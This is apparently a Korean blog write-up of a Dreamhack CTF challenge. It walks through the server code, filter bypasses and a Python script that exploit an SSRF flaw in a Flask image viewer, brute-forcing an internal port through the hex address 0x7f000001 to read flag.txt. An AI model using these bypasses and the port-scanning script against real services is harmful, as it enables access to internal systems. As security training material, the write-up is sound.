이번 문제는 image viewer 서비스를 통해 로컬 서버에 있는 flag.txt를 가져와야한다.
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
image viewer 서비스에 입력한 url이 "/" 로 시작하면 "http://localhost:8000" 뒤에 입력한 url을 붙여서 요청한다.
만약 입력한 url의 네트워크 부분에 "localhost", "127.0.0.1" 이 들어가있으면 "error.png" 를 base64 인코딩해서 불러온다.
아래 try, except부분은 timeout 3초를 설정해서 응답이 3초보다 길어질 경우 역시 "error.png"를 불러오는 내용이다.
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
1500~1800 사이의 랜덤 포트를 매핑하여 내부 로컬 서버를 별도 스레드로 운영하고 8000번 포트에서 Flask Application을 호스팅한다.
/static 폴더의 정적 파일같은 경우에는 8000번 포트의 Flask Application에서도 처리가 가능하지만 /flag.txt 를 불러오기 위해서는 별도 스레드로 운영 중인 내부 로컬 서버에 접근을 해야만 한다.
하지만 위에서 분석했듯이 "localhost", "127.0.0.1" 문자열이 필터링 되어 있기에 이를 우회해야하고 랜덤으로 설정된 내부 로컬 서버의 포트번호도 알아내야한다.
아래와 같이 필터링을 우회하여 내부 로컬 서버로 접속하는 방법은 다양하다.
#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)):
img_url = f"http://0x7f000001:{port}"
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_port = int(sys.argv[1])
chall_url = f"http://host3.dreamhack.games:{chall_port}/img_viewer"
internal_port = find_port()
위 코드는 로컬 서버의 포트 번호를 알아내는 브루트 포싱 코드이다.
img_url 의 네트워크 부분에 "127.0.0.1" 필터링을 우회하기 위해 hex 처리된 "0x7f000001"을 사용하였다.
강의에서 알려준 우회 방법을 모두 시도해보았는데 "vcap.me" 는 너무 오래걸리고 "127.0.0.255" 는 포트를 못찾았다.
왜 그런건지는 구글링해도 알수가 없었다..
나머지는 포트를 잘 찾았고 "127.0.1" 이나 "127.1" 을 넣어도 제대로 포트를 찾는 것을 확인했다.
정상 포트인지 확인하는 방법은 1500~1800번까지 포트를 하나씩 요청하여 응답값이 다른 것을 찾아내는 것이다.
잘못된 포트는 "error.png"라는 PNG 이미지를 응답하는데 이 PNG 이미지 파일의 첫 부분에는 파일 형식을 식별하는 특정 문자열이 있고 이 문자열을 base64 인코딩 하면 "iVBORw0KG"가 나온다.
코드를 보면 응답값에 NOTFOUND_IMG(=iVBORw0KG) 가 없으면 해당 포트가 뭔지 알려주는 식이다.
정상 포트 응답값을 base64 디코딩 해보면 아래와 같다.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="app.py">app.py</a></li>
<li><a href="error.png">error.png</a></li>
<li><a href="flag.txt">flag.txt</a></li>
<li><a href="requirements.txt">requirements.txt</a></li>
<li><a href="static/">static/</a></li>
<li><a href="templates/">templates/</a></li>
</ul>
<hr>
</body>
</html>
"http://0x7f000001:(알아낸포트번호)/flag.txt" 를 입력하여 요청하고 응답값을 base64 디코딩하면 플래그를 획득할 수 있다.
'dreamhack' 카테고리의 다른 글
[Dreamhack] error based sql injection (0) | 2024.02.01 |
---|---|
[Dreamhack] Carve Party (0) | 2024.01.18 |
[Dreamhack] file-download-1 (1) | 2024.01.14 |
[Dreamhack] image-storage (0) | 2024.01.11 |
[Dreamhack] command-injection-1 (0) | 2024.01.10 |